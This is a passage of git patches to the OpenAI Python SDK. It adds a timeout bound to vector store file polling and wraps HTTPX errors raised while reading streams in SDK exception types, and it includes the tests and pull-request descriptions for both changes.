@@ -111,3 +112,62 @@ def test_parse_response_with_null_output() -> None:
parsed = parse_response(text_format=omit, input_tools=omit, response=response)
assert parsed.output == []
+
+
+def test_stream_state_ignores_output_item_added_with_null_item() -> None:
+ state: ResponseStreamState[object] = ResponseStreamState(text_format=omit, input_tools=[])
+
+ created = construct_type_unchecked(
+ type_=ResponseCreatedEvent,
+ value={
+ "type": "response.created",
+ "sequence_number": 0,
+ "response": {
+ "id": "resp_123",
+ "object": "response",
+ "created_at": 0,
+ "status": "in_progress",
+ "background": False,
+ "error": None,
+ "incomplete_details": None,
+ "instructions": None,
+ "max_output_tokens": None,
+ "max_tool_calls": None,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": True,
+ "previous_response_id": None,
+ "prompt_cache_key": None,
+ "reasoning": {"effort": None, "summary": None},
+ "safety_identifier": None,
+ "service_tier": "default",
+ "store": True,
+ "temperature": 1.0,
+ "text": {"format": {"type": "text"}, "verbosity": "medium"},
+ "tool_choice": "auto",
+ "tools": [],
+ "top_logprobs": 0,
+ "top_p": 1.0,
+ "truncation": "disabled",
+ "usage": None,
+ "user": None,
+ "metadata": {},
+ },
+ },
+ )
+ state.handle_event(created)
+
+ added = construct_type_unchecked(
+ type_=ResponseOutputItemAddedEvent,
+ value={
+ "type": "response.output_item.added",
+ "sequence_number": 1,
+ "output_index": 0,
+ "item": None,
+ },
+ )
+
+ events = state.handle_event(added)
+
+ assert events == [added]
+ assert state.accumulate_event(added).output == []
From ae41bc46cdd53d17e948ac8a73e16bdbf34123a1 Mon Sep 17 00:00:00 2001
From: Yufeng He <40085740+he-yufeng@users.noreply.github.com>
Date: Fri, 11 Sep 2026 06:03:20 +0800
Subject: [PATCH 122/341] fix: bound vector store file polling (#3401)
Fixes #3097
## Summary
- add an optional `max_wait_seconds` bound to
`vector_stores.files.poll()`
- thread the same bound through sync/async `create_and_poll()` and
`upload_and_poll()`
- raise `TimeoutError` instead of waiting forever when a vector store
file stays `in_progress`
## Why
`upload_and_poll()` currently waits until the vector store file reaches
a terminal state. If the backend leaves the vector store file in
`in_progress` indefinitely, the helper never returns and the caller has
no SDK-level escape hatch. The new argument keeps the default behavior
unchanged, while letting callers opt into a bounded wait.
## Validation
- `PYTHONPATH=src python -m pytest
tests/api_resources/vector_stores/test_files.py::TestFiles::test_poll_timeout
tests/api_resources/vector_stores/test_files.py::TestAsyncFiles::test_poll_timeout
-q`
- `PYTHONPATH=src python -m pytest
tests/api_resources/vector_stores/test_files.py::test_create_and_poll_method_in_sync
tests/api_resources/vector_stores/test_files.py::test_upload_and_poll_method_in_sync
-q`
- `PYTHONPATH=src python -m ruff check
src/openai/resources/vector_stores/files.py
tests/api_resources/vector_stores/test_files.py`
- `python -m compileall -q src/openai/resources/vector_stores/files.py
tests/api_resources/vector_stores/test_files.py`
- `git diff --check`
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
Co-authored-by: Marcus Wood
---
src/openai/lib/_vector_stores.py | 38 +++-
src/openai/resources/vector_stores/files.py | 49 ++++-
.../test_vector_store_file_poll_timeout.py | 168 ++++++++++++++++++
3 files changed, 248 insertions(+), 7 deletions(-)
create mode 100644 tests/lib/test_vector_store_file_poll_timeout.py
diff --git a/src/openai/lib/_vector_stores.py b/src/openai/lib/_vector_stores.py
index 7357a4908e..1451219305 100644
--- a/src/openai/lib/_vector_stores.py
+++ b/src/openai/lib/_vector_stores.py
@@ -1,9 +1,11 @@
from __future__ import annotations
+import math
+import time
from typing import TYPE_CHECKING, Mapping
from typing_extensions import assert_never
-from .._types import Omit
+from .._types import Omit, omit
from .._utils import is_given
from ..types.vector_stores.vector_store_file import VectorStoreFile
from ..types.vector_stores.vector_store_file_batch import VectorStoreFileBatch
@@ -21,19 +23,37 @@ def _get_poll_interval_ms(headers: Mapping[str, str]) -> int:
return 1000
+def validate_max_wait_seconds(max_wait_seconds: float | Omit) -> None:
+ if is_given(max_wait_seconds) and (not math.isfinite(max_wait_seconds) or max_wait_seconds < 0):
+ raise ValueError("Expected a finite, non-negative value for `max_wait_seconds`")
+
+
+def _remaining_poll_time(deadline: float, file_id: str) -> float:
+ remaining = deadline - time.monotonic()
+ if remaining <= 0:
+ raise TimeoutError(f"Timed out waiting for vector store file {file_id!r} to finish processing")
+ return remaining
+
+
def poll_vector_store_file(
resource: Files,
file_id: str,
*,
vector_store_id: str,
poll_interval_ms: int | Omit,
+ max_wait_seconds: float | Omit = omit,
) -> VectorStoreFile:
"""Poll a vector-store file using the caller's resource hooks."""
+ validate_max_wait_seconds(max_wait_seconds)
+ deadline = time.monotonic() + max_wait_seconds if is_given(max_wait_seconds) else None
headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
if is_given(poll_interval_ms):
headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
while True:
+ if deadline is not None:
+ _remaining_poll_time(deadline, file_id)
+
response = resource.with_raw_response.retrieve(
file_id,
vector_store_id=vector_store_id,
@@ -45,7 +65,10 @@ def poll_vector_store_file(
if not is_given(poll_interval_ms):
poll_interval_ms = _get_poll_interval_ms(response.headers)
- resource._sleep(poll_interval_ms / 1000)
+ sleep_seconds = poll_interval_ms / 1000
+ if deadline is not None:
+ sleep_seconds = min(sleep_seconds, _remaining_poll_time(deadline, file_id))
+ resource._sleep(sleep_seconds)
elif file.status == "cancelled" or file.status == "completed" or file.status == "failed":
return file
else:
@@ -61,13 +84,19 @@ async def async_poll_vector_store_file(
*,
vector_store_id: str,
poll_interval_ms: int | Omit,
+ max_wait_seconds: float | Omit = omit,
) -> VectorStoreFile:
"""Poll a vector-store file using the caller's async resource hooks."""
+ validate_max_wait_seconds(max_wait_seconds)
+ deadline = time.monotonic() + max_wait_seconds if is_given(max_wait_seconds) else None
headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
if is_given(poll_interval_ms):
headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
while True:
+ if deadline is not None:
+ _remaining_poll_time(deadline, file_id)
+
response = await resource.with_raw_response.retrieve(
file_id,
vector_store_id=vector_store_id,
@@ -79,7 +108,10 @@ async def async_poll_vector_store_file(
if not is_given(poll_interval_ms):
poll_interval_ms = _get_poll_interval_ms(response.headers)
- await resource._sleep(poll_interval_ms / 1000)
+ sleep_seconds = poll_interval_ms / 1000
+ if deadline is not None:
+ sleep_seconds = min(sleep_seconds, _remaining_poll_time(deadline, file_id))
+ await resource._sleep(sleep_seconds)
elif file.status == "cancelled" or file.status == "completed" or file.status == "failed":
return file
else:
diff --git a/src/openai/resources/vector_stores/files.py b/src/openai/resources/vector_stores/files.py
index 9ce285f4ba..4f18f96f39 100644
--- a/src/openai/resources/vector_stores/files.py
+++ b/src/openai/resources/vector_stores/files.py
@@ -18,6 +18,7 @@
from ..._base_client import AsyncPaginator, make_request_options
from ...lib._vector_stores import (
poll_vector_store_file as _poll_vector_store_file,
+ validate_max_wait_seconds as _validate_max_wait_seconds,
async_poll_vector_store_file as _async_poll_vector_store_file,
)
from ...types.vector_stores import file_list_params, file_create_params, file_update_params
@@ -335,6 +336,7 @@ def create_and_poll(
vector_store_id: str,
attributes: Optional[Dict[str, Union[str, float, bool]]] | Omit = omit,
poll_interval_ms: int | Omit = omit,
+ max_wait_seconds: float | Omit = omit,
chunking_strategy: FileChunkingStrategyParam | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
# The extra values given here take precedence over values defined on the client or passed to this method.
@@ -343,7 +345,11 @@ def create_and_poll(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
- """Attach a file to the given vector store and wait for it to be processed."""
+ """Attach a file to the given vector store and wait for it to be processed.
+
+ `max_wait_seconds` limits polling after attachment; see `poll` for details.
+ """
+ _validate_max_wait_seconds(max_wait_seconds)
self.create(
vector_store_id=vector_store_id,
file_id=file_id,
@@ -359,6 +365,7 @@ def create_and_poll(
file_id,
vector_store_id=vector_store_id,
poll_interval_ms=poll_interval_ms,
+ max_wait_seconds=max_wait_seconds,
)
def poll(
@@ -367,9 +374,16 @@ def poll(
*,
vector_store_id: str,
poll_interval_ms: int | Omit = omit,
+ max_wait_seconds: float | Omit = omit,
) -> VectorStoreFile:
"""Wait for the vector store file to finish processing.
+ `max_wait_seconds` must be finite and non-negative. When provided, it limits
+ polling and raises `TimeoutError` on expiry; zero prevents any polling requests.
+ Omit it to wait indefinitely. In-flight requests and retries use the client's
+ HTTP timeout settings and may finish after the polling deadline. Timing out
+ does not cancel processing on the server.
+
Note: this will return even if the file failed to process, you need to check
file.last_error and file.status to handle these cases
"""
@@ -378,6 +392,7 @@ def poll(
file_id,
vector_store_id=vector_store_id,
poll_interval_ms=poll_interval_ms,
+ max_wait_seconds=max_wait_seconds,
)
def upload(
@@ -402,15 +417,21 @@ def upload_and_poll(
file: FileTypes,
attributes: Optional[Dict[str, Union[str, float, bool]]] | Omit = omit,
poll_interval_ms: int | Omit = omit,
+ max_wait_seconds: float | Omit = omit,
chunking_strategy: FileChunkingStrategyParam | Omit = omit,
) -> VectorStoreFile:
- """Add a file to a vector store and poll until processing is complete."""
+ """Add a file to a vector store and poll until processing is complete.
+
+ `max_wait_seconds` limits polling after upload and attachment; see `poll` for details.
+ """
+ _validate_max_wait_seconds(max_wait_seconds)
file_obj = self._client.files.create(file=file, purpose="assistants")
return self.create_and_poll(
vector_store_id=vector_store_id,
file_id=file_obj.id,
chunking_strategy=chunking_strategy,
poll_interval_ms=poll_interval_ms,
+ max_wait_seconds=max_wait_seconds,
attributes=attributes,
)
@@ -767,6 +788,7 @@ async def create_and_poll(
vector_store_id: str,
attributes: Optional[Dict[str, Union[str, float, bool]]] | Omit = omit,
poll_interval_ms: int | Omit = omit,
+ max_wait_seconds: float | Omit = omit,
chunking_strategy: FileChunkingStrategyParam | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
# The extra values given here take precedence over values defined on the client or passed to this method.
@@ -775,7 +797,11 @@ async def create_and_poll(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
- """Attach a file to the given vector store and wait for it to be processed."""
+ """Attach a file to the given vector store and wait for it to be processed.
+
+ `max_wait_seconds` limits polling after attachment; see `poll` for details.
+ """
+ _validate_max_wait_seconds(max_wait_seconds)
await self.create(
vector_store_id=vector_store_id,
file_id=file_id,
@@ -791,6 +817,7 @@ async def create_and_poll(
file_id,
vector_store_id=vector_store_id,
poll_interval_ms=poll_interval_ms,
+ max_wait_seconds=max_wait_seconds,
)
async def poll(
@@ -799,9 +826,16 @@ async def poll(
*,
vector_store_id: str,
poll_interval_ms: int | Omit = omit,
+ max_wait_seconds: float | Omit = omit,
) -> VectorStoreFile:
"""Wait for the vector store file to finish processing.
+ `max_wait_seconds` must be finite and non-negative. When provided, it limits
+ polling and raises `TimeoutError` on expiry; zero prevents any polling requests.
+ Omit it to wait indefinitely. In-flight requests and retries use the client's
+ HTTP timeout settings and may finish after the polling deadline. Timing out
+ does not cancel processing on the server.
+
Note: this will return even if the file failed to process, you need to check
file.last_error and file.status to handle these cases
"""
@@ -810,6 +844,7 @@ async def poll(
file_id,
vector_store_id=vector_store_id,
poll_interval_ms=poll_interval_ms,
+ max_wait_seconds=max_wait_seconds,
)
async def upload(
@@ -836,14 +871,20 @@ async def upload_and_poll(
file: FileTypes,
attributes: Optional[Dict[str, Union[str, float, bool]]] | Omit = omit,
poll_interval_ms: int | Omit = omit,
+ max_wait_seconds: float | Omit = omit,
chunking_strategy: FileChunkingStrategyParam | Omit = omit,
) -> VectorStoreFile:
- """Add a file to a vector store and poll until processing is complete."""
+ """Add a file to a vector store and poll until processing is complete.
+
+ `max_wait_seconds` limits polling after upload and attachment; see `poll` for details.
+ """
+ _validate_max_wait_seconds(max_wait_seconds)
file_obj = await self._client.files.create(file=file, purpose="assistants")
return await self.create_and_poll(
vector_store_id=vector_store_id,
file_id=file_obj.id,
poll_interval_ms=poll_interval_ms,
+ max_wait_seconds=max_wait_seconds,
chunking_strategy=chunking_strategy,
attributes=attributes,
)
diff --git a/tests/lib/test_vector_store_file_poll_timeout.py b/tests/lib/test_vector_store_file_poll_timeout.py
new file mode 100644
index 0000000000..0278bf9949
--- /dev/null
+++ b/tests/lib/test_vector_store_file_poll_timeout.py
@@ -0,0 +1,168 @@
+from __future__ import annotations
+
+from typing import Any, cast
+from unittest import mock
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai._types import omit
+from openai._models import construct_type_unchecked
+from openai.resources.vector_stores.files import Files, AsyncFiles
+from openai.types.vector_stores.vector_store_file import VectorStoreFile
+
+FILE_ID = "file-synthetic"
+VECTOR_STORE_ID = "vs-synthetic"
+
+
+class Clock:
+ now: float = 0
+
+ def monotonic(self) -> float:
+ return self.now
+
+ def sleep(self, seconds: float) -> None:
+ self.now += seconds
+
+
+@pytest.fixture
+def clock(monkeypatch: pytest.MonkeyPatch) -> Clock:
+ clock = Clock()
+ monkeypatch.setattr("openai.lib._vector_stores.time", clock)
+ return clock
+
+
+@pytest.fixture(params=[False, True], ids=["sync", "async"])
+def resource(request: pytest.FixtureRequest, client: OpenAI, async_client: AsyncOpenAI) -> Files | AsyncFiles:
+ return (async_client if request.param else client).vector_stores.files
+
+
+def response(status: str = "in_progress") -> mock.Mock:
+ file = construct_type_unchecked(type_=VectorStoreFile, value={"id": FILE_ID, "status": status})
+ return mock.Mock(headers={}, parse=mock.Mock(return_value=file))
+
+
+async def call(resource: Files | AsyncFiles, method: str = "poll", **kwargs: Any) -> VectorStoreFile:
+ params = {"vector_store_id": VECTOR_STORE_ID, **kwargs}
+ if method == "upload_and_poll":
+ params["file"] = ("probe.md", b"synthetic content")
+ else:
+ params["file_id"] = FILE_ID
+ result = getattr(resource, method)(**params)
+ if isinstance(resource, AsyncFiles):
+ result = await result
+ return cast(VectorStoreFile, result)
+
+
+@pytest.mark.parametrize("interval", [omit, 250], ids=["server-hint", "explicit"])
+async def test_deadline_caps_sleep_and_prevents_next_request(
+ resource: Files | AsyncFiles, clock: Clock, interval: Any
+) -> None:
+ pending = response()
+ pending.headers = {"openai-poll-after-ms": "10000"}
+ with (
+ mock.patch.object(resource.with_raw_response, "retrieve", return_value=pending) as retrieve,
+ mock.patch.object(resource, "_sleep", side_effect=clock.sleep) as sleep,
+ ):
+ with pytest.raises(TimeoutError, match=FILE_ID):
+ await call(resource, max_wait_seconds=0.625, poll_interval_ms=interval)
+ assert clock.now == 0.625
+ assert retrieve.call_count == (1 if interval is omit else 3)
+ assert [args.args[0] for args in sleep.call_args_list] == ([0.625] if interval is omit else [0.25, 0.25, 0.125])
+
+
+@pytest.mark.parametrize("request_seconds", [0.5, 3.0])
+async def test_request_time_counts_toward_deadline(
+ resource: Files | AsyncFiles, clock: Clock, request_seconds: float
+) -> None:
+ def retrieve(*_args: Any, **_kwargs: Any) -> mock.Mock:
+ clock.now += request_seconds
+ return response()
+
+ with (
+ mock.patch.object(resource.with_raw_response, "retrieve", side_effect=retrieve) as get,
+ mock.patch.object(resource, "_sleep", side_effect=clock.sleep) as sleep,
+ ):
+ with pytest.raises(TimeoutError):
+ await call(resource, max_wait_seconds=2.5)
+ assert get.call_count == (2 if request_seconds == 0.5 else 1)
+ assert [args.args[0] for args in sleep.call_args_list] == ([1.0, 0.5] if request_seconds == 0.5 else [])
+ # Preserve the client's per-request timeout and retry policy.
+ assert all("timeout" not in args.kwargs for args in get.call_args_list)
+
+
+@pytest.mark.parametrize("status", ["completed", "failed", "cancelled"])
+async def test_terminal_result_is_preserved(resource: Files | AsyncFiles, clock: Clock, status: str) -> None:
+ terminal = response(status)
+
+ def retrieve(*_args: Any, **_kwargs: Any) -> mock.Mock:
+ clock.now += 2
+ return terminal
+
+ with (
+ mock.patch.object(resource.with_raw_response, "retrieve", side_effect=retrieve),
+ mock.patch.object(resource, "_sleep") as sleep,
+ ):
+ # A terminal response from an in-flight request is still useful after expiry.
+ assert await call(resource, max_wait_seconds=1) is terminal.parse.return_value
+ sleep.assert_not_called()
+
+
+async def test_omitted_limit_preserves_unbounded_wait(resource: Files | AsyncFiles, clock: Clock) -> None:
+ terminal = response("completed")
+ with (
+ mock.patch.object(resource.with_raw_response, "retrieve", side_effect=[response(), response(), terminal]),
+ mock.patch.object(resource, "_sleep", side_effect=clock.sleep),
+ ):
+ assert await call(resource, poll_interval_ms=3600000) is terminal.parse.return_value
+ assert clock.now == 7200
+
+
+@pytest.mark.parametrize("method", ["poll", "create_and_poll", "upload_and_poll"])
+@pytest.mark.parametrize("limit", [-1, float("nan"), float("inf"), -float("inf")])
+async def test_invalid_limit_fails_before_side_effects(resource: Files | AsyncFiles, method: str, limit: float) -> None:
+ with (
+ mock.patch.object(resource.with_raw_response, "retrieve") as retrieve,
+ mock.patch.object(resource, "create") as attach,
+ mock.patch.object(resource._client.files, "create") as upload,
+ ):
+ with pytest.raises(ValueError, match="finite, non-negative"):
+ await call(resource, method, max_wait_seconds=limit)
+ retrieve.assert_not_called()
+ attach.assert_not_called()
+ upload.assert_not_called()
+
+
+async def test_zero_limit_prevents_polling(resource: Files | AsyncFiles, clock: Clock) -> None:
+ with (
+ mock.patch.object(resource.with_raw_response, "retrieve") as retrieve,
+ mock.patch.object(resource, "_sleep") as sleep,
+ ):
+ with pytest.raises(TimeoutError):
+ await call(resource, max_wait_seconds=0)
+ assert clock.now == 0
+ retrieve.assert_not_called()
+ sleep.assert_not_called()
+
+
+@pytest.mark.parametrize("method", ["create_and_poll", "upload_and_poll"])
+async def test_helpers_start_deadline_after_upload_and_attachment(
+ resource: Files | AsyncFiles, clock: Clock, method: str
+) -> None:
+ def create(*_args: Any, **kwargs: Any) -> mock.Mock:
+ assert "max_wait_seconds" not in kwargs
+ clock.now += 10
+ return mock.Mock(id=FILE_ID)
+
+ with (
+ mock.patch.object(resource._client.files, "create", side_effect=create) as upload,
+ mock.patch.object(resource, "create", side_effect=create) as attach,
+ mock.patch.object(resource.with_raw_response, "retrieve", return_value=response()) as retrieve,
+ mock.patch.object(resource, "_sleep", side_effect=clock.sleep),
+ ):
+ with pytest.raises(TimeoutError):
+ await call(resource, method, max_wait_seconds=0.5)
+ assert upload.call_count == (1 if method == "upload_and_poll" else 0)
+ attach.assert_called_once()
+ retrieve.assert_called_once()
+ assert clock.now == (20.5 if method == "upload_and_poll" else 10.5)
From d7c41efee1b0802b79f3f88a678ef2052b06e9ce Mon Sep 17 00:00:00 2001
From: Heriberto Espino Montelongo
Date: Thu, 10 Sep 2026 16:43:27 -0600
Subject: [PATCH 123/341] feat(streaming): normalize errors raised while
reading streams (#3827)
## Summary
A timeout or broken connection after streaming starts currently escapes
as a raw HTTPX exception, bypassing `except openai.APIError`. Wrap
request failures at the event-read boundary, preserving the original
exception as `__cause__` and closing the response.
Keep parsing and callback errors unchanged. Preserve existing Assistants
event-handler and raw byte-stream behavior. Partially consumed streams
are not retried.
Fixes #3811. Supersedes the overlapping fixes in #3813, #3814, and
#3818.
## Release note
Release as a **minor version**. `Stream` and `AsyncStream` now raise
`openai.APITimeoutError` for read timeouts and
`openai.APIConnectionError` for other HTTPX request failures, including
decoding errors. Applications catching raw `httpx` or `httpx2`
exceptions during event streaming should catch these SDK exceptions
instead. The underlying exception remains available through `__cause__`.
## Validation
- Merged current main and resolved the test-import conflict.
- Six after-first-chunk regression cases fail on main and pass with this
change.
- 77 focused tests pass on each of Pydantic v1 and v2, including
sync/async HTTPX2 and legacy HTTPX, response cleanup, no retries, and
callback compatibility.
- Broad offline suite: 3,658 passed, 132 skipped; large-payload
contract: 1 passed, run sequentially.
- Ruff, Mypy, and focused Pyright pass.
- Custom-code budget passes: 6,827 / 10,000 lines.
- Full diff security review found no unrelated changes or dependency,
credential, or workflow modifications.
API/mock-server and network-dependent suites were excluded from the
broad local run. The separate optional legacy aiohttp adapter test could
not run because `httpx_aiohttp` is not installed.
---------
Co-authored-by: Marcus Wood
---
README.md | 8 ++
src/openai/_httpx2.py | 6 +
src/openai/_streaming.py | 19 ++-
src/openai/lib/streaming/_assistants.py | 27 ++++-
tests/test_httpx2.py | 141 ++++++++++++++++++++--
tests/test_streaming.py | 149 +++++++++++++++++++++++-
6 files changed, 332 insertions(+), 18 deletions(-)
diff --git a/README.md b/README.md
index c0f5c7f2f1..1b3824da05 100644
--- a/README.md
+++ b/README.md
@@ -657,6 +657,14 @@ response), a subclass of `openai.APIStatusError` is raised, containing `status_c
All errors inherit from `openai.APIError`.
+When consuming a `Stream` or `AsyncStream`, read timeouts raise `APITimeoutError`
+and other HTTPX request failures raise `APIConnectionError`. Catch these SDK
+exceptions instead of raw HTTPX exceptions; the original exception is available
+as `__cause__`. Stream consumption is not automatically retried, because replaying
+a request could duplicate output already delivered to your application.
+The Assistants event-handler helpers and raw `with_streaming_response` iterators
+retain their existing exception behavior.
+
```python
import openai
from openai import OpenAI
diff --git a/src/openai/_httpx2.py b/src/openai/_httpx2.py
index 491398b43c..8944928d84 100644
--- a/src/openai/_httpx2.py
+++ b/src/openai/_httpx2.py
@@ -17,6 +17,7 @@ class _LegacyHttpxModule(Protocol):
Timeout: type[httpx2.Timeout]
Limits: type[httpx2.Limits]
TimeoutException: type[httpx2.TimeoutException]
+ RequestError: type[httpx2.RequestError]
HTTPStatusError: type[httpx2.HTTPStatusError]
StreamConsumed: type[httpx2.StreamConsumed]
RequestNotRead: type[httpx2.RequestNotRead]
@@ -99,6 +100,11 @@ def timeout_exceptions() -> tuple[type[httpx2.TimeoutException], ...]:
return (httpx2.TimeoutException,) if module is None else (httpx2.TimeoutException, module.TimeoutException)
+def request_exceptions() -> tuple[type[httpx2.RequestError], ...]:
+ module = _loaded_legacy_httpx()
+ return (httpx2.RequestError,) if module is None else (httpx2.RequestError, module.RequestError)
+
+
def status_exceptions() -> tuple[type[httpx2.HTTPStatusError], ...]:
module = _loaded_legacy_httpx()
return (httpx2.HTTPStatusError,) if module is None else (httpx2.HTTPStatusError, module.HTTPStatusError)
diff --git a/src/openai/_streaming.py b/src/openai/_streaming.py
index 0fd375604d..bb45a70f6a 100644
--- a/src/openai/_streaming.py
+++ b/src/openai/_streaming.py
@@ -11,7 +11,8 @@
import httpx2
from ._utils import is_mapping, extract_type_var_from_base
-from ._exceptions import APIError
+from ._httpx2 import request_exceptions, timeout_exceptions
+from ._exceptions import APIError, APITimeoutError, APIConnectionError
if TYPE_CHECKING:
from ._client import OpenAI, AsyncOpenAI
@@ -51,7 +52,12 @@ def __iter__(self) -> Iterator[_T]:
yield item
def _iter_events(self) -> Iterator[ServerSentEvent]:
- yield from self._decoder.iter_bytes(self.response.iter_bytes())
+ try:
+ yield from self._decoder.iter_bytes(self.response.iter_bytes())
+ except timeout_exceptions() as err:
+ raise APITimeoutError(request=self.response.request) from err
+ except request_exceptions() as err:
+ raise APIConnectionError(request=self.response.request) from err
def __stream__(self) -> Iterator[_T]:
cast_to = cast(Any, self._cast_to)
@@ -160,8 +166,13 @@ async def __aiter__(self) -> AsyncIterator[_T]:
yield item
async def _iter_events(self) -> AsyncIterator[ServerSentEvent]:
- async for sse in self._decoder.aiter_bytes(self.response.aiter_bytes()):
- yield sse
+ try:
+ async for sse in self._decoder.aiter_bytes(self.response.aiter_bytes()):
+ yield sse
+ except timeout_exceptions() as err:
+ raise APITimeoutError(request=self.response.request) from err
+ except request_exceptions() as err:
+ raise APIConnectionError(request=self.response.request) from err
async def __stream__(self) -> AsyncIterator[_T]:
cast_to = cast(Any, self._cast_to)
diff --git a/src/openai/lib/streaming/_assistants.py b/src/openai/lib/streaming/_assistants.py
index 1cdca954a5..676ffe6383 100644
--- a/src/openai/lib/streaming/_assistants.py
+++ b/src/openai/lib/streaming/_assistants.py
@@ -8,10 +8,11 @@
from ._deltas import accumulate_delta as accumulate_delta
from ..._utils import consume_sync_iterator, consume_async_iterator
from ..._compat import model_dump
-from ..._httpx2 import timeout_exceptions
+from ..._httpx2 import request_exceptions, timeout_exceptions
from ..._models import construct_type
from ..._streaming import Stream, AsyncStream
from ...types.beta import AssistantStreamEvent
+from ..._exceptions import APIConnectionError
from ...types.beta.threads import (
Run,
Text,
@@ -29,6 +30,26 @@ def _timeout_exceptions() -> tuple[type[Exception], ...]:
return (*timeout_exceptions(), asyncio.TimeoutError)
+def _iter_events(stream: Stream[AssistantStreamEvent]) -> Iterator[AssistantStreamEvent]:
+ # Preserve legacy transport exceptions without unwrapping errors from user callbacks.
+ try:
+ yield from stream
+ except APIConnectionError as exc:
+ if isinstance(exc.__cause__, request_exceptions()):
+ raise exc.__cause__ from None
+ raise
+
+
+async def _aiter_events(stream: AsyncStream[AssistantStreamEvent]) -> AsyncIterator[AssistantStreamEvent]:
+ try:
+ async for event in stream:
+ yield event
+ except APIConnectionError as exc:
+ if isinstance(exc.__cause__, request_exceptions()):
+ raise exc.__cause__ from None
+ raise
+
+
class AssistantEventHandler:
text_deltas: Iterable[str]
"""Iterator over just the text deltas in the stream.
@@ -407,7 +428,7 @@ def __stream__(self) -> Iterator[AssistantStreamEvent]:
raise RuntimeError("Stream has not been started yet")
try:
- for event in stream:
+ for event in _iter_events(stream):
self._emit_sse_event(event)
yield event
@@ -839,7 +860,7 @@ async def __stream__(self) -> AsyncIterator[AssistantStreamEvent]:
raise RuntimeError("Stream has not been started yet")
try:
- async for event in stream:
+ async for event in _aiter_events(stream):
await self._emit_sse_event(event)
yield event
diff --git a/tests/test_httpx2.py b/tests/test_httpx2.py
index 764fc00f0b..bcb1036cf7 100644
--- a/tests/test_httpx2.py
+++ b/tests/test_httpx2.py
@@ -21,6 +21,7 @@
from openai._response import StreamAlreadyConsumed
from openai.providers import bedrock
from openai._constants import DEFAULT_TIMEOUT
+from openai.types.beta import AssistantStreamEvent
def model_list(request: httpx2.Request) -> httpx2.Response:
@@ -577,7 +578,8 @@ async def async_failing_stream_handler(request: httpx2.Request) -> httpx2.Respon
@pytest.mark.filterwarnings("ignore:The Assistants API is deprecated in favor of the Responses API:DeprecationWarning")
-async def test_assistant_stream_timeout_callbacks_preserve_httpx2_family() -> None:
+@pytest.mark.parametrize("error_type", [httpx2.ReadTimeout, httpx2.RemoteProtocolError, httpx2.DecodingError])
+async def test_assistant_stream_error_callbacks_preserve_httpx2_family(error_type: type[httpx2.RequestError]) -> None:
class SyncHandler(openai.AssistantEventHandler):
def __init__(self) -> None:
super().__init__()
@@ -610,13 +612,13 @@ class FailingSyncStream(httpx2.SyncByteStream):
@override
def __iter__(self):
yield b"partial"
- raise httpx2.ReadTimeout("assistant stream timeout")
+ raise error_type("assistant stream failure")
class FailingAsyncStream(httpx2.AsyncByteStream):
@override
async def __aiter__(self):
yield b"partial"
- raise httpx2.ReadTimeout("assistant stream timeout")
+ raise error_type("assistant stream failure")
def sync_response(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(
@@ -638,11 +640,11 @@ async def async_response(request: httpx2.Request) -> httpx2.Response:
with sync_client.beta.threads.runs.stream( # pyright: ignore[reportDeprecated]
assistant_id="asst_test", thread_id="thread_test", event_handler=sync_handler
) as stream:
- with pytest.raises(httpx2.ReadTimeout, match="assistant stream timeout"):
+ with pytest.raises(error_type, match="assistant stream failure"):
stream.until_done()
- assert sync_handler.timed_out
- assert isinstance(sync_handler.exception, httpx2.ReadTimeout)
+ assert sync_handler.timed_out == issubclass(error_type, httpx2.TimeoutException)
+ assert isinstance(sync_handler.exception, error_type)
async_handler = AsyncHandler()
async with AsyncOpenAI(
@@ -654,11 +656,132 @@ async def async_response(request: httpx2.Request) -> httpx2.Response:
async with async_client.beta.threads.runs.stream( # pyright: ignore[reportDeprecated]
assistant_id="asst_test", thread_id="thread_test", event_handler=async_handler
) as async_stream:
- with pytest.raises(httpx2.ReadTimeout, match="assistant stream timeout"):
+ with pytest.raises(error_type, match="assistant stream failure"):
await async_stream.until_done()
- assert async_handler.timed_out
- assert isinstance(async_handler.exception, httpx2.ReadTimeout)
+ assert async_handler.timed_out == issubclass(error_type, httpx2.TimeoutException)
+ assert isinstance(async_handler.exception, error_type)
+
+
+@pytest.mark.filterwarnings("ignore:The Assistants API is deprecated in favor of the Responses API:DeprecationWarning")
+@pytest.mark.asyncio
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("timeout", [True, False], ids=["timeout", "connection"])
+async def test_assistant_stream_hook_api_errors_are_not_unwrapped(sync: bool, timeout: bool) -> None:
+ hook_request = httpx2.Request("GET", "https://example.test/hook")
+
+ if timeout:
+ cause: httpx2.RequestError = httpx2.ReadTimeout("hook timeout")
+ hook_error: APIConnectionError = APITimeoutError(hook_request)
+ else:
+ cause = httpx2.RemoteProtocolError("hook connection error")
+ hook_error = APIConnectionError(request=hook_request)
+
+ hook_error.__cause__ = cause
+
+ class SyncHandler(openai.AssistantEventHandler):
+ def __init__(self) -> None:
+ super().__init__()
+ self.timed_out = False
+ self.exception: Exception | None = None
+
+ @override
+ def on_event(self, event: AssistantStreamEvent) -> None:
+ raise hook_error
+
+ @override
+ def on_timeout(self) -> None:
+ self.timed_out = True
+
+ @override
+ def on_exception(self, exception: Exception) -> None:
+ self.exception = exception
+
+ class AsyncHandler(openai.AsyncAssistantEventHandler):
+ def __init__(self) -> None:
+ super().__init__()
+ self.timed_out = False
+ self.exception: Exception | None = None
+
+ @override
+ async def on_event(self, event: AssistantStreamEvent) -> None:
+ raise hook_error
+
+ @override
+ async def on_timeout(self) -> None:
+ self.timed_out = True
+
+ @override
+ async def on_exception(self, exception: Exception) -> None:
+ self.exception = exception
+
+ content = b'event: thread.created\ndata: {"id":"thread_test","created_at":0,"object":"thread"}\n\n'
+
